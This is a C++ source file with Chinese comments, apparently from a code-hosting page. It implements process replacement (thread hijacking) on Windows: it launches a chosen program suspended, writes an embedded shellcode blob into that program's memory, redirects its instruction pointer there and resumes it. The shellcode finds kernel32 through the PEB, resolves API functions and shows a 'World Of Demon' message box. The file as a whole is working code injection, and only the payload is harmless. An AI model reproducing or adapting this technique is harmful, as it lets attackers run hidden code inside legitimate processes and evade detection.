145 lines
7.0 KiB
C++
145 lines
7.0 KiB
C++
// ReplaceProcess.cpp : 定义控制台应用程序的入口点。
|
|
//
|
|
|
|
#include "stdafx.h"
|
|
#include <Windows.h>
|
|
|
|
|
|
char data[624] = {
|
|
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x7D,
|
|
0x08, 0x81, 0xE7, 0x00, 0x00, 0xFF, 0xFF, 0x66, 0x81, 0x3F, 0x4D, 0x5A, 0x75, 0x12, 0x8B, 0xF7,
|
|
0x03, 0x76, 0x3C, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x75, 0x05, 0x89, 0x7D, 0xFC, 0xEB, 0x10,
|
|
0x81, 0xEF, 0x00, 0x00, 0x01, 0x00, 0x81, 0xFF, 0x00, 0x00, 0x00, 0x70, 0x72, 0x02, 0xEB, 0xD7,
|
|
0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7,
|
|
0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B,
|
|
0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3,
|
|
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1,
|
|
0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40,
|
|
0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC,
|
|
0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B,
|
|
0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18,
|
|
0x75, 0xF3, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4,
|
|
0xF8, 0x60, 0x33, 0xC9, 0x8B, 0x55, 0x0C, 0x8A, 0x02, 0x0A, 0xC0, 0x74, 0x04, 0x41, 0x42, 0xEB,
|
|
0xF6, 0x89, 0x4D, 0xF8, 0x8B, 0x75, 0x08, 0x03, 0x76, 0x3C, 0x8B, 0x76, 0x78, 0x03, 0x75, 0x08,
|
|
0x33, 0xD2, 0x8B, 0x5E, 0x20, 0x03, 0x5D, 0x08, 0x56, 0x8B, 0x75, 0x0C, 0x8B, 0x3B, 0x03, 0x7D,
|
|
0x08, 0x8B, 0x4D, 0xF8, 0xF3, 0xA6, 0x75, 0x03, 0x5E, 0xEB, 0x0A, 0x5E, 0x42, 0x83, 0xC3, 0x04,
|
|
0x3B, 0x56, 0x18, 0x72, 0xE3, 0x8B, 0x5E, 0x24, 0x03, 0x5D, 0x08, 0xB8, 0x02, 0x00, 0x00, 0x00,
|
|
0xF7, 0xE2, 0x03, 0xD8, 0x0F, 0xB7, 0x03, 0x8B, 0x5E, 0x1C, 0x03, 0x5D, 0x08, 0xB9, 0x04, 0x00,
|
|
0x00, 0x00, 0xF7, 0xE1, 0x03, 0xD8, 0x8B, 0x03, 0x03, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B,
|
|
0x45, 0xFC, 0xC9, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x73,
|
|
0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
|
|
0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
|
|
0x61, 0x72, 0x79, 0x41, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41,
|
|
0x00, 0x57, 0x65, 0x6C, 0x63, 0x6F, 0x6D, 0x65, 0x20, 0x54, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C,
|
|
0x64, 0x20, 0x4F, 0x66, 0x20, 0x44, 0x65, 0x6D, 0x6F, 0x6E, 0x00, 0x44, 0x65, 0x6D, 0x6F, 0x6E,
|
|
0x47, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0xB6, 0x11, 0x40, 0x00, 0xE8, 0xAE, 0xFE,
|
|
0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x05, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x89, 0x83, 0x46, 0x11, 0x40,
|
|
0x00, 0x8D, 0x83, 0x59, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xE8, 0xE8,
|
|
0xFE, 0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x7C, 0x89, 0x83, 0xA4, 0x11, 0x40, 0x00, 0x8D,
|
|
0x83, 0x68, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11,
|
|
0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x5D, 0x89, 0x83, 0xA8, 0x11, 0x40, 0x00, 0x8D, 0x83,
|
|
0x4E, 0x11, 0x40, 0x00, 0x50, 0xFF, 0x93, 0xA8, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB,
|
|
0x44, 0x89, 0x83, 0x4A, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x75, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3,
|
|
0x4A, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x25,
|
|
0x89, 0x83, 0xAC, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x81, 0x11, 0x40, 0x00, 0x8D, 0x8B, 0x9B, 0x11,
|
|
0x40, 0x00, 0x6A, 0x04, 0x51, 0x50, 0x6A, 0x00, 0xFF, 0x93, 0xAC, 0x11, 0x40, 0x00, 0x83, 0xF8,
|
|
0x06, 0x74, 0x02, 0x61, 0xC3, 0x61, 0xE9, 0xDE, 0xC4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
|
|
void ShowError(char *lpszText)
|
|
{
|
|
char szErr[MAX_PATH] = {0};
|
|
::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
|
|
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
|
|
}
|
|
|
|
|
|
BOOL ReplaceProcess(char *lpszSrcFile)
|
|
{
|
|
LPVOID lpDestBaseAddr = ::VirtualAllocEx(::GetCurrentProcess(), NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (NULL == lpDestBaseAddr)
|
|
{
|
|
ShowError("VirtualAllocEx");
|
|
return FALSE;
|
|
}
|
|
::RtlZeroMemory(lpDestBaseAddr, sizeof(data));
|
|
::RtlCopyMemory(lpDestBaseAddr, data, sizeof(data));
|
|
// 创建挂起进程
|
|
STARTUPINFO stStartupInfo = {0};
|
|
PROCESS_INFORMATION stProcessInfo = {0};
|
|
::RtlZeroMemory(&stStartupInfo, sizeof(stStartupInfo));
|
|
::RtlZeroMemory(&stProcessInfo, sizeof(stProcessInfo));
|
|
stStartupInfo.cb = sizeof(stStartupInfo);
|
|
// stStartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
|
// stStartupInfo.wShowWindow = SW_NORMAL;
|
|
if (!::CreateProcess(lpszSrcFile, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &stStartupInfo, &stProcessInfo))
|
|
{
|
|
::VirtualFreeEx(::GetCurrentProcess(), lpDestBaseAddr, sizeof(data), MEM_RELEASE);
|
|
ShowError("CreateThread");
|
|
return FALSE;
|
|
}
|
|
|
|
|
|
CONTEXT stContext = { 0 };
|
|
stContext.ContextFlags = CONTEXT_FULL; // 注意此处标志，一定要写!!!
|
|
if (!::GetThreadContext(stProcessInfo.hThread, &stContext))
|
|
{
|
|
::VirtualFreeEx(::GetCurrentProcess(), lpDestBaseAddr, sizeof(data), MEM_RELEASE);
|
|
ShowError("GetThreadContext");
|
|
return FALSE;
|
|
}
|
|
// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放了基址. 由于PEB在新创建的进程的内存空间需要使用ReadProcessMemory来读取
|
|
DWORD dwProcessBaseAddr = 0;
|
|
::ReadProcessMemory(stProcessInfo.hProcess, (LPVOID)(8 + stContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);
|
|
|
|
// 在替换的进程中申请一块内存
|
|
LPVOID lpSrcBaseAddr = ::VirtualAllocEx(stProcessInfo.hProcess, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (NULL == lpSrcBaseAddr)
|
|
{
|
|
::VirtualFreeEx(::GetCurrentProcess(), lpDestBaseAddr, sizeof(data), MEM_RELEASE);
|
|
|
|
ShowError("VirtualAllocEx");
|
|
return FALSE;
|
|
}
|
|
// 写入替换的数据
|
|
::WriteProcessMemory(stProcessInfo.hProcess, lpSrcBaseAddr, lpDestBaseAddr, sizeof(data), NULL);
|
|
|
|
// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
|
|
stContext.Eip = (DWORD)lpSrcBaseAddr + 432;
|
|
::SetThreadContext(stProcessInfo.hThread, &stContext);
|
|
::ResumeThread(stProcessInfo.hThread);
|
|
// 释放
|
|
::VirtualFreeEx(::GetCurrentProcess(), lpDestBaseAddr, sizeof(data), MEM_RELEASE);
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
int _tmain(int argc, _TCHAR* argv[])
|
|
{
|
|
// 申请内存
|
|
LPVOID lpDestBaseAddr = ::VirtualAllocEx(::GetCurrentProcess(), NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (NULL == lpDestBaseAddr)
|
|
{
|
|
ShowError("VirtualAllocEx");
|
|
return FALSE;
|
|
}
|
|
::RtlCopyMemory(lpDestBaseAddr, data, sizeof(data));
|
|
// __asm
|
|
{
|
|
// mov eax, lpDestBaseAddr
|
|
// add eax,432
|
|
// jmp eax
|
|
}
|
|
|
|
char szPath[MAX_PATH] = {0};
|
|
printf("请输入要替换进程的程序路径:\n");
|
|
scanf("%s", szPath);
|
|
ReplaceProcess(szPath);
|
|
|
|
getchar();
|
|
return 0;
|
|
}
|
|
|